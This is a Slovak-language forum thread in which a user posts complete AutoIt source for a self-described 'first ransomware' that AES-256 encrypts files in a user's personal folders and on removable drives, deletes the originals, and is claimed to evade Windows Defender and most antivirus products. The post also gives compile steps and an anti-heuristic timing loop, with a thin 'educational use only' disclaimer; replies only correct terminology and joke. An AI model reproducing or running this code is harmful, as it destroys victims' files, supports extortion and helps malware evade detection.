môj prvý ransomware , resp crypter

Programovacie jazyky, rady, poradňa...
DrCry
Zablokovaný
Zablokovaný
Príspevky: 62
Registrovaný: 03 jan 2019, 23:00

môj prvý ransomware , resp crypter

Príspevok od používateľa DrCry »

Zdravím ,

asi pred mesiacom som sa rozhodol nakodovať svoj prvý ransomware resp crypter . podmienka bola aby obišiel najpoužívanejše AV , to znamená aby nebol detekovatelný win 10 ohranou (defender a funkcia riadeneho prístupu) + aby ho nedetekovala drvivá väčšina AV .

Na programovanie som zvolil jazyk autoit čo je podla mna najlepší jazyk na malware ktorý umožnuje malware písať efektívne,rýchlo a jednoducho.

Detekcia na úrovni interpretovaných jazykov prebieha tak, že sa analyzujú kľúčové slová (bežne mená funkcií / metód), množstvo a druhy použitých funkcií (špecifické operácie vyžadujú množiny špecifických funkcií / metód). Preto je u týchto jazykov nutná vysoká miera obfuskace kódu, inak nie je možné detection rate znížiť , každopádne v tomto prípade je ciel splnený , lebo obchádza win 10 ochranu + väčšinu av vrátane malwarebytes,avast,kaspersky awg atd. dával som to na virustotal čo slúži ako DB pre av spoločnosti , momentálny stav som neskúmal

Na šifrovanie som zvolil algoritmus AES (256Bit)čo je štandardná klasika ktorá je dostatoče silná ak je silný privátny klúč. následne som spravil aby tento crypter umožnoval šifrovať aj dešifrovať , stačí prepísať v kode GetFilesToCrypt() na GetFilesToDecrypt .
1)
Súbor do exe skompilujete tak že si stiahnete + nainštalujjete jazyk autoit tu:https://www.autoitscript.com/site/autoit/downloads/
2)do textoveho editora vložite kod mojeho crypteru a uložíte ho ako nieco.au3
3) na súbor nieco.au3 kliknete pravým a dáte compile script 64 alebo 86.
kod dávam sem dole

a btw len na vzdelavacie učeli , a na účeli keby si chcete zašifrovať údaje na svojom vlastnom disku , v podobe cryptera je to legálny program , upozornujem ako však exekuujete tento crypter na cudzom počítači bez vedomia majitela je to nelegálne , taktiež pridanie vyhražaciej správy je nelegálne , preto to nerobte !!

Kód: Vybrať všetko

#cs ----------------------------------------------------------------------------

	
	Author: DrCry

	funkcie:
	AES256 crypter , len na edukačné účeli , nejedná sa o ransomware ale len 
	crypter pre vlastné účeli . používajte výhradne len na svojom zariadení. 
	Nenesiem žiadne dvôsledky za zneužitie tohoto softwaru .
	

#ce ----------------------------------------------------------------------------

; pre dešifrovanie prepíšte GetFilesToCrypt() na GetFilesToDecrypt samozrejme použite istý klúč ako pri šifrovani a používajte na kluc len štandardne písmena a čísla bez diakrytyky a dlznu

#include <Crypt.au3>
#include <File.au3>

$key = "12345" ; klúč bude replacnutý od _Randomstring() funkcie

Func _Randomstring($length)
	$chars = StringSplit("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", "")
	$String = ""
	$i = 0
	Do
		If $length <= 0 Then ExitLoop
		$String &= $chars[Random(1, $chars[0])]
		$i += 1
	Until $i = $length
	Return $String
EndFunc   ;==>_Randomstring

Func Crypt($file)
	_Crypt_EncryptFile($file, $file & '.CRYPTED', $key, $CALG_AES_256)
	FileDelete($file)
EndFunc   ;==>Crypt

Func Decrypt($file)
	$filename = StringReplace($file, '.CRYPTED', '')
	_Crypt_DecryptFile($file, $filename, $key, $CALG_AES_256)
	FileDelete($file)
EndFunc   ;==>Decrypt

Func GetFilesToDecrypt($path)
	$files = _FileListToArrayRec($path, "*.CRYPTED", 1, 1, 0, 2)
	For $i = 1 To $files[0]
		Decrypt($files[$i])
	Next
EndFunc   ;==>GetFilesToDecrypt

Func GetFilesToCrypt($path)
	If $path <> "" Then
		$files = _FileListToArrayRec($path, "*.*", 1, 1, 0, 2)
		For $i = 1 To $files[0]
			$size = FileGetSize($files[$i]) / 1024
			If Not StringInStr($files[$i], '.CRYPTED') And $size < 50000 Then ; Files are encrypted only if they are smaller than50MB
				Crypt($files[$i])
			EndIf
		Next
	EndIf
EndFunc   ;==>GetFilesToCrypt

Func GetDrives()
	$drives = DriveGetDrive($DT_REMOVABLE)
	$list = ""
	If $drives <> "" Then
		For $i = 1 To $drives[0]
			$list &= $drives[$i] & '|'
		Next
	EndIf

	Return $list

EndFunc   ;==>GetDrives

;==============Encryption / Decryption========== 
; môžte pridať alebo vymazať cesty k súborom ktore to bude šifrovat


GetFilesToCrypt(@UserProfileDir & '\Downloads')
GetFilesToCrypt(@UserProfileDir & '\Pictures')
GetFilesToCrypt(@UserProfileDir & '\Music')
GetFilesToCrypt(@UserProfileDir & '\Videos')
GetFilesToCrypt(@UserProfileDir & '\Documents')
GetFilesToCrypt(@DesktopDir)

While True
	$drivesfounded = StringSplit(GetDrives(), '|', 1)
	For $i = 1 To $drivesfounded[0]
		GetFilesToCrypt($drivesfounded[$i])
	Next
WEnd

MsgBox(0, "", "Done")
;/==============Encryption / Decryption==========


ešte proti Heuristickej analýze môžete pridať napr tento cyklus :

Kód: Vybrať všetko

$begin = TimerInit()
While 1
$dif = TimerDiff($begin)
ConsoleWrite(_BytesToBits(1024) & @CRLF)
If $dif > 1000 Then ExitLoop
WEnd 
harrison314
Hardcore addict
Hardcore addict
Používateľov profilový obrázok
Príspevky: 8215
Registrovaný: 27 máj 2009, 20:42
Bydlisko: Bratislava
Kontaktovať používateľa:

Re: môj prvý ransomware , resp crypter

Príspevok od používateľa harrison314 »

Len upozornim, ze AES nic ako privatny kluc nema, je to algoritmus pre simetricku sifru.

Plus je rozdiel pre antivirusy, ked si nieco take skompilujes a spustis sam a stiahnes a spustis.
DrCry
Zablokovaný
Zablokovaný
Príspevky: 62
Registrovaný: 03 jan 2019, 23:00

Re: môj prvý ransomware , resp crypter

Príspevok od používateľa DrCry »

Ten AES Jojo viem , to som si neuvedomil čo som napísal , public a private môže byť napr PGP , .čo sa týka detekcie to mi je jasné preto som spúštal exe (64 bit) , na virtualnej mašine kde mám aktualizovaný win10 (nie win server 2016 samozrejme).
Slayter
Addict
Addict
Používateľov profilový obrázok
Príspevky: 3111
Registrovaný: 28 jan 2006, 9:19
Bydlisko: Malmö, SWE

Re: môj prvý ransomware , resp crypter

Príspevok od používateľa Slayter »

komenty v slovencine s top gramatikou :D
cinges
King
King
Používateľov profilový obrázok
Príspevky: 1996
Registrovaný: 05 mar 2007, 13:58
Kontaktovať používateľa:

Re: môj prvý ransomware , resp crypter

Príspevok od používateľa cinges »

dam esetu echo, nech tuto temu sleduje..:D
Napísať odpoveď